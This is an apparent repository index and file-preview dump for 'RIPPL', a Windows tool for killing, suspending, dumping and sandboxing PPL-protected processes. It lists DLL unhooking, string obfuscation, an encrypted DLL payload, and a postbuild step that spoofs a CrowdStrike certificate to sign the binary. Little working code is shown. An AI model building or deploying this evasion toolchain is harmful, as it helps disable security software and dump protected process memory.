type SYSTEM_POOL_INFORMATION (line 2021) | typedef struct _SYSTEM_POOL_INFORMATION
type SYSTEM_HANDLE_TABLE_ENTRY_INFO (line 2033) | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
type SYSTEM_HANDLE_INFORMATION (line 2044) | typedef struct _SYSTEM_HANDLE_INFORMATION
type SYSTEM_OBJECTTYPE_INFORMATION (line 2051) | typedef struct _SYSTEM_OBJECTTYPE_INFORMATION
type SYSTEM_OBJECT_INFORMATION (line 2066) | typedef struct _SYSTEM_OBJECT_INFORMATION
type SYSTEM_PAGEFILE_INFORMATION (line 2083) | typedef struct _SYSTEM_PAGEFILE_INFORMATION
type SYSTEM_VDM_INSTEMUL_INFO (line 2093) | typedef struct _SYSTEM_VDM_INSTEMUL_INFO
type SYSTEM_FILECACHE_INFORMATION (line 2134) | typedef struct _SYSTEM_FILECACHE_INFORMATION
type SYSTEM_POOLTAG (line 2148) | typedef struct _SYSTEM_POOLTAG
type SYSTEM_POOLTAG_INFORMATION (line 2162) | typedef struct _SYSTEM_POOLTAG_INFORMATION
type SYSTEM_INTERRUPT_INFORMATION (line 2169) | typedef struct _SYSTEM_INTERRUPT_INFORMATION
type SYSTEM_DPC_BEHAVIOR_INFORMATION (line 2180) | typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION
type SYSTEM_MEMORY_INFO (line 2190) | typedef struct _SYSTEM_MEMORY_INFO
type SYSTEM_MEMORY_INFORMATION (line 2199) | typedef struct _SYSTEM_MEMORY_INFORMATION
type SYSTEM_GDI_DRIVER_INFORMATION (line 2207) | typedef struct _SYSTEM_GDI_DRIVER_INFORMATION
type SYSTEM_QUERY_TIME_ADJUST_INFORMATION (line 2221) | typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION
type SYSTEM_SET_TIME_ADJUST_INFORMATION (line 2228) | typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION
type SYSTEM_REF_TRACE_INFORMATION (line 2239) | typedef struct _SYSTEM_REF_TRACE_INFORMATION
type SYSTEM_EXCEPTION_INFORMATION (line 2250) | typedef struct _SYSTEM_EXCEPTION_INFORMATION
type SYSTEM_CRASH_STATE_INFORMATION (line 2259) | typedef struct _SYSTEM_CRASH_STATE_INFORMATION
type SYSTEM_KERNEL_DEBUGGER_INFORMATION (line 2265) | typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION
type SYSTEM_CONTEXT_SWITCH_INFORMATION (line 2272) | typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION
type SYSTEM_REGISTRY_QUOTA_INFORMATION (line 2289) | typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION
type SYSTEM_PLUGPLAY_BUS_INFORMATION (line 2303) | typedef struct _SYSTEM_PLUGPLAY_BUS_INFORMATION
type SYSTEM_DOCK_STATE (line 2310) | typedef enum _SYSTEM_DOCK_STATE
type INTERFACE_TYPE (line 2317) | typedef enum _INTERFACE_TYPE
type SYSTEM_DOCK_INFORMATION (line 2339) | typedef struct _SYSTEM_DOCK_INFORMATION
type SYSTEM_POWER_INFORMATION_NATIVE (line 2348) | typedef struct _SYSTEM_POWER_INFORMATION_NATIVE
type SYSTEM_LEGACY_DRIVER_INFORMATION (line 2363) | typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION
type SYSTEM_LOOKASIDE_INFORMATION (line 2374) | typedef struct _SYSTEM_LOOKASIDE_INFORMATION
type SYSTEM_VERIFIER_INFORMATION (line 2402) | typedef struct _SYSTEM_VERIFIER_INFORMATION
type SYSTEM_SESSION_PROCESS_INFORMATION (line 2434) | typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION
type SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX (line 2454) | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
type SYSTEM_HANDLE_INFORMATION_EX (line 2467) | typedef struct _SYSTEM_HANDLE_INFORMATION_EX
type SYSTEM_HOTPATCH_CODE_INFORMATION (line 2476) | typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION
type _SYSTEM_FIRMWARE_TABLE_INFORMATION (line 2532) | struct _SYSTEM_FIRMWARE_TABLE_INFORMATION
type NTSTATUS (line 2533) | typedef NTSTATUS (__cdecl *PFNFTH)(
type SYSTEM_FIRMWARE_TABLE_ACTION (line 2537) | typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION
type SYSTEM_FIRMWARE_TABLE_HANDLER (line 2543) | typedef struct _SYSTEM_FIRMWARE_TABLE_HANDLER
type SYSTEM_FIRMWARE_TABLE_INFORMATION (line 2554) | typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION
type SYSTEM_MEMORY_LIST_INFORMATION (line 2566) | typedef struct _SYSTEM_MEMORY_LIST_INFORMATION
type SYSTEM_PROCESS_ID_INFORMATION (line 2580) | typedef struct _SYSTEM_PROCESS_ID_INFORMATION
type SYSTEM_BOOT_ENVIRONMENT_INFORMATION (line 2589) | typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION
type SHUTDOWN_ACTION (line 2669) | typedef enum _SHUTDOWN_ACTION
type FILE_INFORMATION_CLASS (line 2769) | typedef enum _FILE_INFORMATION_CLASS
type FILE_DIRECTORY_INFORMATION (line 2865) | typedef struct _FILE_DIRECTORY_INFORMATION {
type FILE_FULL_DIR_INFORMATION (line 2880) | typedef struct _FILE_FULL_DIR_INFORMATION {
type FILE_BOTH_DIR_INFORMATION (line 2896) | typedef struct _FILE_BOTH_DIR_INFORMATION {
type FILE_BASIC_INFORMATION (line 2914) | typedef struct _FILE_BASIC_INFORMATION {
type FILE_STANDARD_INFORMATION (line 2923) | typedef struct _FILE_STANDARD_INFORMATION {
type FILE_STANDARD_INFORMATION_EX (line 2932) | typedef struct _FILE_STANDARD_INFORMATION_EX {
type FILE_INTERNAL_INFORMATION (line 2942) | typedef struct _FILE_INTERNAL_INFORMATION {
type FILE_EA_INFORMATION (line 2947) | typedef struct _FILE_EA_INFORMATION {
type FILE_ACCESS_INFORMATION (line 2952) | typedef struct _FILE_ACCESS_INFORMATION {
type FILE_NAME_INFORMATION (line 2957) | typedef struct _FILE_NAME_INFORMATION {
type FILE_RENAME_INFORMATION (line 2963) | typedef struct _FILE_RENAME_INFORMATION {
type FILE_RENAME_INFORMATION_EX (line 2974) | typedef struct _FILE_RENAME_INFORMATION_EX {
type FILE_NAMES_INFORMATION (line 2981) | typedef struct _FILE_NAMES_INFORMATION {
type FILE_DISPOSITION_INFORMATION (line 2989) | typedef struct _FILE_DISPOSITION_INFORMATION {
type FILE_POSITION_INFORMATION (line 2994) | typedef struct _FILE_POSITION_INFORMATION {
type FILE_FULL_EA_INFORMATION (line 2999) | typedef struct _FILE_FULL_EA_INFORMATION {
type FILE_MODE_INFORMATION (line 3008) | typedef struct _FILE_MODE_INFORMATION {
type FILE_ALIGNMENT_INFORMATION (line 3013) | typedef struct _FILE_ALIGNMENT_INFORMATION {
type FILE_ALL_INFORMATION (line 3018) | typedef struct _FILE_ALL_INFORMATION {
type FILE_ALLOCATION_INFORMATION (line 3031) | typedef struct _FILE_ALLOCATION_INFORMATION {
type FILE_END_OF_FILE_INFORMATION (line 3036) | typedef struct _FILE_END_OF_FILE_INFORMATION {
type FILE_STREAM_INFORMATION (line 3041) | typedef struct _FILE_STREAM_INFORMATION {
type FILE_PIPE_INFORMATION (line 3049) | typedef struct _FILE_PIPE_INFORMATION {
type FILE_PIPE_LOCAL_INFORMATION (line 3055) | typedef struct _FILE_PIPE_LOCAL_INFORMATION {
type FILE_PIPE_REMOTE_INFORMATION (line 3069) | typedef struct _FILE_PIPE_REMOTE_INFORMATION {
type FILE_MAILSLOT_QUERY_INFORMATION (line 3075) | typedef struct _FILE_MAILSLOT_QUERY_INFORMATION {
type FILE_MAILSLOT_SET_INFORMATION (line 3084) | typedef struct _FILE_MAILSLOT_SET_INFORMATION {
type FILE_COMPRESSION_INFORMATION (line 3089) | typedef struct _FILE_COMPRESSION_INFORMATION {
type FILE_LINK_INFORMATION (line 3099) | typedef struct _FILE_LINK_INFORMATION {
type FILE_LINK_INFORMATION_EX (line 3115) | typedef struct _FILE_LINK_INFORMATION_EX {
type FILE_OBJECTID_INFORMATION (line 3123) | typedef struct _FILE_OBJECTID_INFORMATION
type FILE_COMPLETION_INFORMATION (line 3138) | typedef struct _FILE_COMPLETION_INFORMATION {
type FILE_MOVE_CLUSTER_INFORMATION (line 3144) | typedef struct _FILE_MOVE_CLUSTER_INFORMATION {
type FILE_NETWORK_OPEN_INFORMATION (line 3152) | typedef struct _FILE_NETWORK_OPEN_INFORMATION {
type FILE_ATTRIBUTE_TAG_INFORMATION (line 3163) | typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION {
type FILE_TRACKING_INFORMATION (line 3169) | typedef struct _FILE_TRACKING_INFORMATION {
type FILE_REPARSE_POINT_INFORMATION (line 3176) | typedef struct _FILE_REPARSE_POINT_INFORMATION {
type FILE_QUOTA_INFORMATION (line 3182) | typedef struct _FILE_QUOTA_INFORMATION {
type FILE_ID_BOTH_DIR_INFORMATION (line 3193) | typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
type FILE_ID_FULL_DIR_INFORMATION (line 3212) | typedef struct _FILE_ID_FULL_DIR_INFORMATION {
type FILE_VALID_DATA_LENGTH_INFORMATION (line 3229) | typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION {
type FILE_IO_COMPLETION_NOTIFICATION_INFORMATION (line 3249) | typedef struct _FILE_IO_COMPLETION_NOTIFICATION_INFORMATION {
type FILE_PROCESS_IDS_USING_FILE_INFORMATION (line 3254) | typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION {
type FILE_IOSTATUSBLOCK_RANGE_INFORMATION (line 3260) | typedef struct _FILE_IOSTATUSBLOCK_RANGE_INFORMATION {
type IO_PRIORITY_HINT (line 3266) | typedef enum _IO_PRIORITY_HINT {
type FILE_IO_PRIORITY_HINT_INFORMATION (line 3276) | typedef struct _FILE_IO_PRIORITY_HINT_INFORMATION {
type FILE_SFIO_RESERVE_INFORMATION (line 3285) | typedef struct _FILE_SFIO_RESERVE_INFORMATION {
type FILE_SFIO_VOLUME_INFORMATION (line 3298) | typedef struct _FILE_SFIO_VOLUME_INFORMATION {
type FILE_LINK_ENTRY_INFORMATION (line 3305) | typedef struct _FILE_LINK_ENTRY_INFORMATION {
type FILE_LINKS_INFORMATION (line 3313) | typedef struct _FILE_LINKS_INFORMATION
type FILE_ID_128 (line 3321) | typedef struct _FILE_ID_128
type FILE_LINK_ENTRY_FULL_ID_INFORMATION (line 3327) | typedef struct _FILE_LINK_ENTRY_FULL_ID_INFORMATION
type FILE_ID_GLOBAL_TX_DIR_INFORMATION (line 3335) | typedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION
type FILE_IS_REMOTE_DEVICE_INFORMATION (line 3354) | typedef struct _FILE_IS_REMOTE_DEVICE_INFORMATION
type FILE_NUMA_NODE_INFORMATION (line 3359) | typedef struct _FILE_NUMA_NODE_INFORMATION {
type FILE_STANDARD_LINK_INFORMATION (line 3363) | typedef struct _FILE_STANDARD_LINK_INFORMATION
type FILE_VOLUME_NAME_INFORMATION (line 3371) | typedef struct _FILE_VOLUME_NAME_INFORMATION
type FILE_ID_INFORMATION (line 3377) | typedef struct _FILE_ID_INFORMATION
type FILE_ID_EXTD_DIR_INFORMATION (line 3383) | typedef struct _FILE_ID_EXTD_DIR_INFORMATION
type FILE_ID_EXTD_BOTH_DIR_INFORMATION (line 3401) | typedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION
type FILE_DISPOSITION_INFORMATION_EX (line 3427) | typedef struct _FILE_DISPOSITION_INFORMATION_EX
type FILE_STORAGE_TIER_CLASS (line 3433) | typedef enum _FILE_STORAGE_TIER_CLASS {
type FILE_DESIRED_STORAGE_CLASS_INFORMATION (line 3442) | typedef struct _FILE_DESIRED_STORAGE_CLASS_INFORMATION
type FILE_STAT_INFORMATION (line 3450) | typedef struct _FILE_STAT_INFORMATION
type FILE_MEMORY_PARTITION_INFORMATION (line 3465) | typedef struct _FILE_MEMORY_PARTITION_INFORMATION
type FILE_STAT_LX_INFORMATION (line 3478) | typedef struct _FILE_STAT_LX_INFORMATION {
type FILE_CASE_SENSITIVE_INFORMATION (line 3500) | typedef struct _FILE_CASE_SENSITIVE_INFORMATION
type FS_INFORMATION_CLASS (line 3505) | typedef enum _FSINFOCLASS {
type FILE_FS_VOLUME_INFORMATION (line 3522) | typedef struct _FILE_FS_VOLUME_INFORMATION {
type FILE_FS_LABEL_INFORMATION (line 3531) | typedef struct _FILE_FS_LABEL_INFORMATION {
type FILE_FS_SIZE_INFORMATION (line 3537) | typedef struct _FILE_FS_SIZE_INFORMATION {
type FILE_FS_DEVICE_INFORMATION (line 3545) | typedef struct _FILE_FS_DEVICE_INFORMATION {
type FILE_FS_ATTRIBUTE_INFORMATION (line 3551) | typedef struct _FILE_FS_ATTRIBUTE_INFORMATION {
type FILE_FS_CONTROL_INFORMATION (line 3559) | typedef struct _FILE_FS_CONTROL_INFORMATION {
type FILE_FS_FULL_SIZE_INFORMATION (line 3569) | typedef struct _FILE_FS_FULL_SIZE_INFORMATION {
type FILE_FS_OBJECTID_INFORMATION (line 3578) | typedef struct _FILE_FS_OBJECTID_INFORMATION {
type FILE_FS_DRIVER_PATH_INFORMATION (line 3584) | typedef struct _FILE_FS_DRIVER_PATH_INFORMATION {
type FILE_FS_VOLUME_FLAGS_INFORMATION (line 3591) | typedef struct _FILE_FS_VOLUME_FLAGS_INFORMATION {
type FILE_FS_SECTOR_SIZE_INFORMATION (line 3595) | typedef struct _FILE_FS_SECTOR_SIZE_INFORMATION {
type RTL_PATH_TYPE (line 4098) | typedef enum _RTL_PATH_TYPE
type CURDIR (line 4111) | typedef struct _CURDIR
type PROCESSINFOCLASS (line 4230) | typedef enum _PROCESSINFOCLASS {
type THREADINFOCLASS (line 4289) | typedef enum _THREADINFOCLASS {
type RTL_DRIVE_LETTER_CURDIR (line 4312) | typedef struct _RTL_DRIVE_LETTER_CURDIR
type SECTION_IMAGE_INFORMATION (line 4322) | typedef struct _SECTION_IMAGE_INFORMATION
type RTL_USER_PROCESS_INFORMATION (line 4348) | typedef struct _RTL_USER_PROCESS_INFORMATION
type RTL_USER_PROCESS_PARAMETERS (line 4359) | typedef struct _RTL_USER_PROCESS_PARAMETERS
type PEB_FREE_BLOCK (line 4405) | typedef struct _PEB_FREE_BLOCK
type PEB_LDR_DATA (line 4413) | typedef struct _PEB_LDR_DATA
type LDR_DATA_TABLE_ENTRY (line 4458) | typedef struct _LDR_DATA_TABLE_ENTRY
type PEB (line 4491) | typedef struct _PEB
type TEB (line 4620) | typedef struct _TEB
type PROCESS_BASIC_INFORMATION (line 4638) | typedef struct _PROCESS_BASIC_INFORMATION
type BOOLEAN (line 4649) | typedef BOOLEAN (*PDLL_INIT_ROUTINE)(
type VOID (line 4659) | typedef VOID (*PPS_APC_ROUTINE) (
type PORT_MESSAGE (line 4997) | typedef struct _PORT_MESSAGE
type PORT_VIEW (line 5039) | typedef struct _PORT_VIEW {
type REMOTE_PORT_VIEW (line 5058) | typedef struct _REMOTE_PORT_VIEW {
type RTL_HEAP_PARAMETERS (line 5512) | typedef struct RTL_HEAP_PARAMETERS {
type MEMORY_INFORMATION_CLASS (line 5649) | typedef enum _MEMORY_INFORMATION_CLASS
type MEMORY_WORKING_SET_ENTRY (line 5658) | typedef struct _MEMORY_WORKING_SET_ENTRY
type SECTION_INHERIT (line 5821) | typedef enum _SECTION_INHERIT
type SECTION_INFORMATION_CLASS (line 5829) | typedef enum _SECTION_INFORMATION_CLASS
type WAIT_TYPE (line 6036) | typedef enum _WAIT_TYPE {
type EVENT_INFORMATION_CLASS (line 6085) | typedef enum _EVENT_INFORMATION_CLASS {
type EVENT_BASIC_INFORMATION (line 6089) | typedef struct _EVENT_BASIC_INFORMATION {
type TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE (line 6617) | typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE
type TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE (line 6624) | typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE
type TOKEN_SECURITY_ATTRIBUTE_V1 (line 6631) | typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1
type TOKEN_SECURITY_ATTRIBUTES_INFORMATION (line 6650) | typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION
type HARDERROR_RESPONSE_OPTION (line 6873) | typedef enum _HARDERROR_RESPONSE_OPTION
type HARDERROR_RESPONSE (line 6885) | typedef enum _HARDERROR_RESPONSE
FILE: RIPPL/skCrypter.hpp
type std (line 16) | namespace std
type remove_reference (line 20) | struct remove_reference {
type remove_reference<_Ty&> (line 25) | struct remove_reference<_Ty&> {
type remove_reference<_Ty&&> (line 30) | struct remove_reference<_Ty&&> {
type remove_const (line 39) | struct remove_const { // remove top-level const qualifier
type remove_const<const _Ty> (line 44) | struct remove_const<const _Ty> {
type skc (line 55) | namespace skc
class skCrypter (line 61) | class skCrypter
method skCrypter (line 64) | __forceinline constexpr skCrypter(T* data)
method T (line 69) | __forceinline T* get()
method size (line 74) | __forceinline int size() // (w)char count
method key (line 79) | __forceinline char key()
method T (line 84) | __forceinline T* encrypt()
method T (line 92) | __forceinline T* decrypt()
method isEncrypted (line 100) | __forceinline bool isEncrypted()
method clear (line 105) | __forceinline void clear() // set full storage to 0
method crypt (line 121) | __forceinline constexpr void crypt(T* data)
FILE: RIPPL/utils.cpp
function BOOL (line 3) | BOOL ParseArguments(int argc, wchar_t* argv[])
function VOID (line 142) | VOID PrintArguments()
function VOID (line 147) | VOID PrintUsage()
function VOID (line 210) | VOID PrintLastError(LPCWSTR pwszFunctionName)
function VOID (line 216) | VOID PrintDebug(LPCWSTR pwszFormat, ...)
function BOOL (line 252) | BOOL ProcessGetProtectionLevel(DWORD dwProcessId, PDWORD pdwProtectionLe...
function BOOL (line 281) | BOOL ProcessGetProtectionLevelAsString(DWORD dwProcessId, LPWSTR* ppwszP...
function BOOL (line 337) | BOOL ProcessGetIntegrityLevel(DWORD dwProcessId, PDWORD pdwIntegrityLevel)
function BOOL (line 379) | BOOL ProcessGetPIDFromName(LPWSTR pwszProcessName, PDWORD pdwProcessId)
function HANDLE (line 448) | HANDLE ObjectManagerCreateDirectory(LPCWSTR dirname)
function HANDLE (line 469) | HANDLE ObjectManagerCreateSymlink(LPCWSTR linkname, LPCWSTR targetname)
function BOOL (line 492) | BOOL TokenGetSid(HANDLE hToken, PSID* ppSid)
function BOOL (line 536) | BOOL TokenGetSidAsString(HANDLE hToken, LPWSTR* ppwszStringSid)
function BOOL (line 553) | BOOL TokenCompareSids(PSID pSidA, PSID pSidB)
function BOOL (line 571) | BOOL TokenGetUsername(HANDLE hToken, LPWSTR* ppwszUsername)
function BOOL (line 605) | BOOL TokenCheckPrivilege(HANDLE hToken, LPCWSTR pwszPrivilege, BOOL bEna...
function BOOL (line 689) | BOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted)
function BOOL (line 726) | BOOL MiscSystemArchIsAmd64()
function BOOL (line 733) | BOOL MiscGenerateGuidString(LPWSTR* ppwszGuid)
function AESDecrypt (line 760) | bool AESDecrypt(_Inout_ BYTE* payload, _In_ DWORD payload_len, _In_ BYTE...
function UnhookDll (line 788) | bool UnhookDll(_In_ LPCWSTR lpszDllName)
FILE: RIPPLDLL/RIPPLDLL.cpp
function BOOL (line 42) | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID ...
function LogonUserExExW (line 89) | void APIENTRY LogonUserExExW() { }
function BriCreateBrokeredEvent (line 94) | void APIENTRY BriCreateBrokeredEvent() { }
function BriDeleteBrokeredEvent (line 95) | void APIENTRY BriDeleteBrokeredEvent() { }
function EaCreateAggregatedEvent (line 96) | void APIENTRY EaCreateAggregatedEvent() { }
function EACreateAggregateEvent (line 97) | void APIENTRY EACreateAggregateEvent() { }
function EaQueryAggregatedEventParameters (line 98) | void APIENTRY EaQueryAggregatedEventParameters() { }
function EAQueryAggregateEventData (line 99) | void APIENTRY EAQueryAggregateEventData() { }
function EaFreeAggregatedEventParameters (line 100) | void APIENTRY EaFreeAggregatedEventParameters() { }
function EaDeleteAggregatedEvent (line 101) | void APIENTRY EaDeleteAggregatedEvent() { }
function EADeleteAggregateEvent (line 102) | void APIENTRY EADeleteAggregateEvent() { }
FILE: RIPPLDLL/dllexploit.cpp
function DoStuff (line 3) | void DoStuff()
function LogToConsole (line 177) | void LogToConsole(LPCWSTR pwszFormat, ...)
function LogLastError (line 230) | void LogLastError(LPCWSTR pwszFunctionName)
function BOOL (line 237) | BOOL GetCurrentDllFileName(LPWSTR* ppwszDllName)
function BOOL (line 257) | BOOL DeleteKnownDllEntry(LPCWSTR pwszDllName)
function BOOL (line 392) | BOOL ParseCommandLine()
function UnhookDll (line 423) | bool UnhookDll(_In_ LPCWSTR lpszDllName)
function BOOL (line 502) | BOOL SetPrivilege(HANDLE token, std::wstring privilege, bool enabled)
function BOOL (line 537) | BOOL SetIntegrity(HANDLE hToken, std::wstring integrityLevel)
function BOOL (line 558) | BOOL SandboxToken(DWORD dwProcessId)
function BOOL (line 608) | BOOL DumpProcessMemory(DWORD dwProcessId, LPWSTR pwszDumpFilePath)
function BOOL (line 665) | BOOL KillProcess(DWORD dwProcessId)
function BOOL (line 684) | BOOL SuspendProcess(DWORD dwProcessId)
function BOOL (line 712) | BOOL ResumeProcess(DWORD dwProcessId)
function BOOL (line 736) | BOOL JobKillProcess(DWORD dwProcessId)
function BOOL (line 762) | BOOL JobSuppressProcess(DWORD dwProcessId)
function BOOL (line 794) | BOOL SuicideProcess(DWORD dwProcessId)
function BOOL (line 823) | BOOL DriverUnload(std::wstring driverName)
FILE: carboncopy.py
function CarbonCopy (line 18) | def CarbonCopy(host, port, signee, signed):
function main (line 91) | def main():
Condensed preview — 38 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (402K chars).
[
{
"path": ".gitattributes",
"chars": 2518,
"preview": "###############################################################################\n# Set default behavior to automatically "
},
{
"path": ".gitignore",
"chars": 5753,
"preview": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## G"
},
{
"path": "DLL_encrypt.py",
"chars": 1843,
"preview": "import sys\nimport os\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\nfrom Crypto.Random import get_ran"
},
{
"path": "LICENSE",
"chars": 1079,
"preview": "MIT License\n\nCopyright (c) 2021 Clément Labro (@itm4n)\n\nPermission is hereby granted, free of charge, to any person obta"
},
{
"path": "README.md",
"chars": 2995,
"preview": "# RIPPL\n### Manipulating PPL protected processes without using a driver\n\n\n\nThis to"
},
{
"path": "RIPPL/Indexes.h",
"chars": 2212,
"preview": "//\n// Indexes.h\n// ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redis"
},
{
"path": "RIPPL/Inline.h",
"chars": 1800,
"preview": "//\n// Inline.h\n// ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redist"
},
{
"path": "RIPPL/Log.h",
"chars": 2376,
"preview": "//\n// Log.h\n// ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redistrib"
},
{
"path": "RIPPL/MetaFSM.h",
"chars": 6927,
"preview": "//\n// MetaFSM.h\n// ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redis"
},
{
"path": "RIPPL/MetaRandom.h",
"chars": 4026,
"preview": "//\n// MetaRandom.h\n// ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Re"
},
{
"path": "RIPPL/MetaString.h",
"chars": 10286,
"preview": "//\n// MetaString.h\n// ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Re"
},
{
"path": "RIPPL/RIPPL.cpp",
"chars": 2094,
"preview": "#include \"exploit.h\"\n\nBOOL g_bDebug = false;\nBOOL g_bForce = false;\nDWORD g_dwProcessId = 0;\nLPWSTR g_pwszExecutionMode "
},
{
"path": "RIPPL/RIPPL.vcxproj",
"chars": 10964,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/ms"
},
{
"path": "RIPPL/RIPPL.vcxproj.filters",
"chars": 2094,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "RIPPL/Unroller.h",
"chars": 2361,
"preview": "//\n// Unroller.h\n// ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redi"
},
{
"path": "RIPPL/common.hpp",
"chars": 823,
"preview": "#pragma once\n#pragma warning(disable: 4390)\n\n#define DUMP_MODE 0 // -D\n#define KILL_MODE 1 // -K\n#define SUSPEND_MODE 2 "
},
{
"path": "RIPPL/exploit.cpp",
"chars": 36748,
"preview": "#include \"exploit.h\"\n\n_Success_(return)\nBOOL RunExploit(_In_ DWORD dwProcessId)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tBOOL bCu"
},
{
"path": "RIPPL/exploit.h",
"chars": 1851,
"preview": "#pragma once\n\n#include \"utils.h\"\n#include \"resource.h\"\n\n#include <versionhelpers.h>\n\n#ifndef STATUS_INFO_LENGTH_MISMATCH"
},
{
"path": "RIPPL/lazy_importer.hpp",
"chars": 26494,
"preview": "#pragma once\n\n#ifndef LAZY_IMPORTER_HPP\n#define LAZY_IMPORTER_HPP\n\n\n#define LI_FN(name) ::li::detail::lazy_function<LAZY"
},
{
"path": "RIPPL/ntdll.h",
"chars": 178130,
"preview": "/*****************************************************************************/\n/* Ntdll.h "
},
{
"path": "RIPPL/packages.config",
"chars": 169,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n <package id=\"Microsoft.Windows.ImplementationLibrary\" version=\"1.0."
},
{
"path": "RIPPL/resource.h",
"chars": 413,
"preview": "//{{NO_DEPENDENCIES}}\n// Microsoft Visual C++ generated include file.\n//\n\n#define IDR_RCDATA1 103\n\n/"
},
{
"path": "RIPPL/skCrypter.hpp",
"chars": 3903,
"preview": "#pragma once\n\n/*________________________________________________________________________________________________________"
},
{
"path": "RIPPL/utils.cpp",
"chars": 20850,
"preview": "#include \"utils.h\"\n\nBOOL ParseArguments(int argc, wchar_t* argv[])\n{\n\tBOOL bReturnValue = TRUE;\n\tBOOL bHelp = FALSE;\n\n\t"
},
{
"path": "RIPPL/utils.h",
"chars": 2220,
"preview": "#pragma once\n#pragma warning(disable: 4503)\n\n#include \"common.hpp\"\n\n#include <pathcch.h>\n#include <bcrypt.h>\n\n#pragma co"
},
{
"path": "RIPPL/winver.manifest",
"chars": 533,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly manifestVersion=\"1.0\" xmlns=\"urn:schemas-microsoft-com"
},
{
"path": "RIPPL.sln",
"chars": 2669,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.3090"
},
{
"path": "RIPPLDLL/RIPPL.def",
"chars": 323,
"preview": "LIBRARY\nEXPORTS\n LogonUserExExW @1\n BriCreateBrokeredEvent @2\n BriDeleteBrokeredEvent @3\n EaCreateAggregatedEven"
},
{
"path": "RIPPLDLL/RIPPLDLL.cpp",
"chars": 3304,
"preview": "#include \"dllexploit.h\"\n\n//\n// Windows 8.1 -> SspiCli.dll\n//\n// 000000014005B1C8 LogonUserExExW SspiCli\n//\nextern \"C\""
},
{
"path": "RIPPLDLL/RIPPLDLL.vcxproj",
"chars": 9319,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/ms"
},
{
"path": "RIPPLDLL/RIPPLDLL.vcxproj.filters",
"chars": 1320,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "RIPPLDLL/dllexploit.cpp",
"chars": 27427,
"preview": "#include \"dllexploit.h\"\n\nvoid DoStuff()\n{\n LPWSTR pwszDllName = NULL;\n BOOL bSuccess = FALSE;\n\n WCHAR wszEventN"
},
{
"path": "RIPPLDLL/dllexploit.h",
"chars": 1689,
"preview": "#pragma once\n#pragma warning(disable: 6387)\n\n#include \"..\\RIPPL\\common.hpp\"\n\n#include <shlwapi.h>\n#include <shellapi.h>\n"
},
{
"path": "RIPPLDLL/packages.config",
"chars": 169,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n <package id=\"Microsoft.Windows.ImplementationLibrary\" version=\"1.0."
},
{
"path": "carboncopy.py",
"chars": 3609,
"preview": "#!/usr/bin/python3\n\n##Author : Paranoid Ninja\n##Email : paranoidninja@protonmail.com\n##Descr : Spoofs SSL Certificates"
},
{
"path": "postbuild.bat",
"chars": 302,
"preview": "cd %0\\..\\\npython3.exe .\\restore_headers.py\npython3.exe .\\carboncopy.py www.crowdstrike.com 443 .\\x64\\Release\\RIPPL_unsig"
},
{
"path": "restore_headers.py",
"chars": 831,
